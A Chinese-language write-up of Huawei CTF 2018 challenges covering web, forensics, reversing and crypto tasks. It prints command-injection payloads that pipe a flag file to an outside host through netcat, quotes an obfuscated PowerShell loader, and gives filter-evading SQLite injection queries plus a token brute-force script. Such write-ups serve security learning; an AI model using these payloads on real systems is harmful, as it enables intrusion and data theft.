華為CTF 2018 – Writeup
挑戰 1 – 廢棄的筒倉
類別: Web
這個挑戰題目的頁面向我們展示了一個表單,在輸入框可以指定引數來 ping 我們輸入的 ip 。頁面提供了一個線索,告知我們 flag 在檔案 flag.txt 中。
我們嘗試注入使用netcat建立反向連線的命令,127.0.0.1;nc reverse.sistec.es 8080。
我們驗證了反向連線已經成功建立,我們可以通過這個反向的 shell 來讀取儲存 flag 的 flag.txt 檔案。
127.0.0.1;cat flag.txt|nc reverse.sistec.es 8080
我們成功讀取到了伺服器上的 flag 。
Line"/>
類別:電子取證
這道題目是在 JPG 影象中找到 flag 。為方便起見,我們將使用 gatos.jpg 作為要分析的檔案的名稱。
該檔案的大小是 670081 位元組,
file gatos.jpg gatos.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, progressive, precision 8, 1920x1024, frames 3
我們 可以使用一些簽名搜尋工具,例如binwalk,photorec和或者是foremost。
使用foremost工具,我們得到了相同的JPG圖 像,但大小為 196951 位元組。我們懷疑在 JPG 影象之後還隱藏著另一個檔案或重要資料。
我們從偏移量 196951 中提取資料
dd if=gatos.jpg of=part2 bs=1 skip=196951
我們分 析這個新的檔案part2。很快,我們就看到有IHDR和IDAT 字串的存在,所以,看起來我們找到的這個檔案應該是一個 PNG 圖片。
xxd part2 |head 00000000: 0d0a 1a0a 0000 000d 4948 4452 0000 0400........IHDR.... 00000010: 0000 0288 0806 0000 00ee 2e88 0c00 0000................ 00000020: 0662 4b47 4400 ff00 ff00 ffa0 bda7 9300.bKGD........... 00000030: 0020 0049 4441 5478 daec dde9 93a4 5776. .IDATx......Wv 00000040: dff7 efbd f759 72ab acbd 7a43 3730 0007.....Yr...zC70.. 00000050: 98c1 7048 0ec5 4594 4c29 4221 4b61 5bf2..pH..E.L)B!Ka[. 00000060: a208 ff3d e2df e1b0 432f 1cb2 23ec b06c...=....C/..#..l 00000070: 5914 456d 2629 919c 2139 43ce 7008 6200Y.Em&)..!9C.p.b. 00000080: 34d0 68f4 5a5d 5d6b aecf 72ef f58b 27334.h.Z]]k..r...'3 00000090: 2bbb d0d5 682c 33e8 46ff 3e98 8cca caaa+...h,3.F.>.....
我們將此檔案的開頭與另一個 PNG 檔案或維基百科中顯示的示例圖片進行比較。
我們看到這個檔案丟失了 PNG 檔案頭的前 4 個位元組(因此資料恢復程式沒有識別出這是個 PNG 圖片檔案)。我們 用xxd和cat把檔案頭的前四個位元組添 加進去。
echo 89504e47 | xxd -ps -r > pngheader cat pngheader part2 > image.png
這個圖片 檔案不是100%的正確,並且不是所有的看圖軟體都能正常開啟,即使是這種情況,我們也可以使用GIMP正常開啟檢視圖片並獲得flag。
挑戰 3 – 後門分析 1
類別:電子取證
接下來的題目是分析一個作業系統是 Ubuntu 16.04 的受感染的虛擬機器。
我們使用使用者 ctf 訪問伺服器,然後使用 su 命令切換到伺服器的管理員使用者來進行更徹底的分析。
一開始我們收到一條錯誤的訊息,這條錯誤資訊告訴我們有一些東西被感染了。
在 .bashrc 檔案的末尾我們看到有一個可執行檔案,隱藏的是方式是嘗試使用多次換行。
/bin/sh311.x
我們分析這個二進位制檔案並使用 ltrace 觀察如何生成 flag 的字串。
挑戰 4 – 後門分析 2
類別:電子取證
第二個後門是我在使用 ps 查看了正在執行的程序後找到的。
我們分析二進位制檔案 /usr/sbin/psl 並使用 strings 獲取到 base64 編碼過的字串。
Watch this: dV9SVAETWkATdX9ydEgDCwQAVQZSCgsFClBVVgJSBQNQVwACAlcDV1cAB1IBCk45Cg==
使 用Auto Solver裡的PatataUtils工具類,我們解碼了 base64的內容並獲得了flag。
在複雜的編碼方式中,必須使用XOR 0x33對文字進行解 密 / 解碼。
PS :受感染的二進位制檔案是 /bin/ls
挑戰 5 – 網路犯罪分析
類別:電子取證
在此挑戰中,我們被要求分析惡意軟體 do_not_remove.bat 然後找到 flag 。
在第一次分析中,我們發現它是一個 powershell 指令碼,它執行了 Base64 中編碼過的程式碼。
Invoke-Expression $(New-Object IO.StreamReader ( $(New-Object IO.Compression.DeflateStream ( $(New-Object IO.MemoryStream (, $([Convert]::FromBase64String("...")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();
我們解碼 base64 中的文字得到了一個二進位制檔案,如果我們檢視程式碼,我們接下來回看到程式是如何使用 CompressionDeflateStream 函式的。
base64 -d b64.txt > bin printf "\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x00" |cat - bin |gzip -dc > code
此程式碼中最可疑的部分是在 User-Agent 中傳送的十六進位制字串。在嘗試對其進行解碼之後,我們可以發現,從 1f 8b 08 00 位元組開始是另一個 gzip 檔案 。
echo 1f8b08004b17425b0003f32f4ab70acd4d2a4acdc949b456f0c82f2eb10a700cb756082d4e2db24ac9cf4dcccc4b4cc9cdccb35670cb494cb772f37174af4e4e4a4b3233374b4d4c363632304f364849324d31324f33b54c35354e333432ab05006811b54b55000000 |xxd -ps -r |gzip -dc Org:Umbrella; Host:PAW; User:domainadmin; Flag:FLAG{cbfb676eac3207c0db5d27f59e53f126}
挑戰 6 – ARMOURED KITTEN
類別:逆向
這個題目是逆向一個 ARM64 的二進位制檔案獲得 flag 。
file re1 re1: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), statically linked, for GNU/Linux 3.7.0, BuildID[sha1]=48e70b04d5fdfcaccb8442dda6fec030f0f6b822, stripped
我們首先遇到的第一個困難是我們無法在 x64 架構的機器上原生的執行這個二進位制檔案。我們可以安裝 qemu 來執行並除錯這個程式。
當我們執行二進位制檔案時,程式會等待我們輸入一些文字並檢查輸入的內容是否正確。
qemu-aarch64 ./re1 wat do u want? patatas oh noes! you no haz flag!
使用反彙編程式( r2 , gdb , IDA )分析二進位制檔案時,我們看到輸入正確的內容時程式輸出的文字是
yes, u got it! submit!
我們使用 IDA X-Rays 來反編譯程式碼並進一步理解二進位制檔案的操作。
我們看到一系列迴圈操作,其中驗證我們輸入的字元是否正確的邏輯符合一系列線性方程。 這個挑戰與baby-re非常相似,我在2016年在DEFCON的CTFC的分類中解決過這個問題。
這個挑戰可以通過工具angr快速解決,或者用更費力的方式,例如提取方程並用數學軟體來 解決。
在這種情況下 ,在用angr測試後沒有獲得我們想要的結果,因此我們轉向PlanB並以儘可能最快和最自動化的方式提取所有 的方程。
除錯我們使用的程式:
qemu-aarch64 -g 3000 ./re1
使用針對 ARM 平臺的 p3da 外掛 peda-arm 執行 gdb-multiarch
在啟動 GDB 之後我們使用 target remote localhost:3000
在這個過程中,我們獲得了完成方程的值的儲存器地址,第一個是 0x48d010 , 程式從這個地址的記憶體中提取 flag 的每個字元的係數。第二個是 0x520A90 ,程式從這個地址的記憶體中提取等式必須滿足的值。
這些值不在單個儲存器地址中,但是對於迴圈中的每次迭代,這些值是從不同的儲存器地址獲得的。
使用 radare2 的 iS 命令,我們獲得了下面這些檔案 “ 節 ” 所在檔案的偏移量:
> iS [Sections] 00 0x000000000 0x000000000 ---- 01 0x0000019032 0x0040019032 -r-- .note.ABI_tag ... 23 0x0007d000 641688 0x0048d000 641688 -rw- .data 24 0x00119a980 0x00529a985952 -rw- .bss 25 0x00119a980 0x0052b1d848 -rw- libc_freeres_ptrs ...
因此,我們得到了 0x7D010 和 0x110A90 。
我們用 dd 剪下二進位制檔案並提取這些部分:
dd if=re1 of=bin1 bs=1 skip=512016 dd if=re1 of=bin2 bs=1 skip=1116816
對於 20 個未知數,在最好的情況下我們只需要 20 個方程,沒有必要提取程式評估的數千個方程,因此,我們只提取前 120 個。
import struct bin1 = open('bin1','rb') data1 = bin1.read() bin2 = open('bin2','rb') data2 = bin2.read() var = 'ABCDEFGHIJKLMNOPQRST' var_maxima = 'A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T' final_equation = '' for k in range(0,3): for l in range(0,5): for m in range(0,2): for n in range(0,4): equation = '' xx = 0 for ii in range(0,20): i = ii + 20*n + 80*m + 160*l + 800*k x = struct.unpack('<L', data1[4*i:4*i+4])[0] if x!=0: equation += '(%s*%s)' % (var[ii], x) if(ii<19): equation += "+" j = n + 4*m + 8*l + 40*k y = struct.unpack('<L', data2[4*j:4*j+4])[0] final_equation += '%s=%d,' % (equation,y) final_equation = final_equation[:-1] print('linsolve([%s],[%s]);' % (final_equation,var_maxima))
我們執行指令碼並獲得了方程式, 我們將這些方程式傳遞給wxmaxima來解方程式。
python re1.py |maxima Maxima 5.42.1 http://maxima.sourceforge.net using Lisp GNU Common Lisp (GCL) GCL 2.6.12 Distributed under the GNU Public License. See the file COPYING. Dedicated to the memory of William Schelter. The function bug_report() provides bug reporting information. (%i1) solve: dependent equations eliminated: (24 23 22 21) (%o1) [A = 109, B = 101, C = 32, D = 99, E = 97, F = 110, G = 32, H = 104, I = 97, J = 122, K = 32, L = 117, M = 114, N = 32, O = 102, P = 108, Q = 97, R = 103, S = 122, T = 63]
我們獲取到了 Flag 的十進位制格式,我們將其轉換為 ascii 來獲取 flag 的文字。
me can haz ur flagz?
挑戰 7 – CRYPTOKENITA
類別:密碼學
在此挑戰中,我們提供 了nodeJS應用程式的原始碼。目標是找到一個正確的令牌來獲得flag 。
ofollow,noindex"> source.js
總之,我們需要生成一個 8 位元組的令牌,並且以 base64 編碼格式傳送。
以下是該應用程式中最重要最關鍵的程式碼部分。
function tokenGen() { return crypto.randomBytes(8).toString(); } app.post('/guess', function (req, res, next) { var token = req.body.token; // No hack if(!_.isString(token) || !_.isBuffer(Buffer.from(token, 'base64')) || !_.isString(Buffer.from(token, 'base64').toString('utf8'))) { res.render('hacker', {title: title}); return; } token = Buffer.from(token, 'base64').toString('utf8'); if(req.session && req.session.token && req.session.token === token) { res.render('flag', {title: title, flag: config.flag}); return; } res.render('no_flag', {title: title}); });
如果我們詳細分析程式碼,我們將觀察到 在toString函式中它使用了UTF8編碼。此編碼是多位元組的,2個位元組用於表示字元0x80到0xff,因此使用字面上的0x80到0xff會返回編 碼錯誤。
知道了這一點,我們就只需要用 0xffffffff 這個值進行多次無效嘗試,直到我們得到 flag 。
import urllib.parse import requests user_agent = 'Mozilla/5.0' for i in range(10000): headers = { 'User-Agent' : user_agent, 'Connection': 'keep-alive'} url = 'http://54.36.134.37:32009' r = requests.get(url, headers=headers) data = r.text print(urllib.parse.unquote(r.cookies['connect.sid'])) url2 = 'http://54.36.134.37:32009/guess' headers = { 'User-Agent' : user_agent, 'Connection': 'keep-alive','Content-Type':'application/x-www-form-urlencoded'} headers['Cookie'] = 'connect.sid=' + r.cookies['connect.sid'] r2 = requests.post(url2, data='token=//////////8', headers=headers) data2 = r2.text print(data2) if'No flag' not in data2: break
挑戰 8 – LOGINDENOID
類別: Web
這個挑戰有兩個部分。首先,我們需要在登入頁面以任何方式進行身份驗證。跳轉到後臺頁面後,你將不得不利用 SQL 注入來提取管理員憑據然後獲取 flag 。
登入繞過
登入請求有 3 個引數:
· username
· password
· loginMethod
在使用者名稱或密碼 中未找到任何注入後,我們嘗試修改loginMethod。
如果我 們將loginMethod引數修改為其他字串,我們會得到以下錯誤,表明此方法或函式不存在 。
user[loginMethod] is not a function
使用一些詞典進行模糊測試後,我們發現使用建構函式這個字串獲得了不同的響應。
Class constructor User cannot be invoked without 'new'
最後,我們 __defineGetter__ 設法進行登入繞過。
SQL 注入
登入到後臺,我們就可以選擇檢視新聞。
/news/item?id=1
通過簡單的單引號注入,我們發現返回錯誤 Database error ,因此可能存在 SQL 注入。
第一步是嘗試一個布林注入,在測試了 SQL 的一些字元或 payload 後,我們意識到這個應用程式有阻止 SQL 注入攻擊的規則,返回了錯誤 Blacklisted 。
其中一個被阻止的字元是空格,因此我們應該在不使用它們的情況下構建 SQL 注入查詢語句,比如儘可能使用括號。
/news/item?id=2'and'1(BOOLEAN TRUE, devuelve la noticia 2) /news/item?id=2'and'0(BOOLEAN FALSE, devuelve 'Noticia no encontrada')
基於此布林注入,我們必須構造更復雜的查詢語句才能從資料庫中獲取資訊,首先,我們需要確定伺服器使用的是哪種型別的資料庫。
這裡最重要的方法之一是嘗試使用 MID 函式( SUBSTRING 的別名),不過伺服器返回了錯誤,這表明所伺服器使用的資料庫引擎不支援這個函式。
經過長時間的調 查後,確定資料庫可以是SQLite。那我們就有使用GLOB功能的可能性了。
GLOB函式可以與萬用字元'*'或'?'一起使用。在這種情況下,不允許使用星號,因此我們可以使用詢問字元'?'。
這個萬用字元等同於一個字元,因此要發現欄位的大小,我們必須使用不同的長度進行暴力破解。
注 入語句採用以下形式,替換TABLE,COLUMN和'?'的數量。
'and(SELECT(1)from(TABLA)WHERE(glob('????',COLUMNA)))and'1
一旦我們知道了要提取的欄位的大小,我們就一個字元一個字元的進行猜解,假設某些字元或單詞被禁止,我們在找不到匹配的情況下可以使用其他方法。
提取表名: TABLE ='sqlite_master'COLUMN ='tbl_name'
· news
· users
· admins
· sqlite_sequence
admins 表的列:
'and(SELECT(1)from(sqlite_master)WHERE(glob('admins',tbl_name)and(glob('????',sql))))and'1 CREAT??TABLE?admins?ID?INTEGE??PRIMARY?KEY?AUTOINCREMENT??u53rn4m333?TEX??NO??NUL??UNIQUE??p455w0rddd?TEX??NO??NUL??
· u53rn4m333
· p455w0rddd
我們最終從 admins 表中提取了使用者名稱和密碼
檢視密碼字串的長度,我們可以假設它是一個 SHA256 雜湊字串,我們使用 hashcat 來進行破解。
獲 得管理員使用者名稱和密碼後,我們通過修改loginMethod的值為loginAdmin進行登入。
登入成功後,我們就得到了 flag 。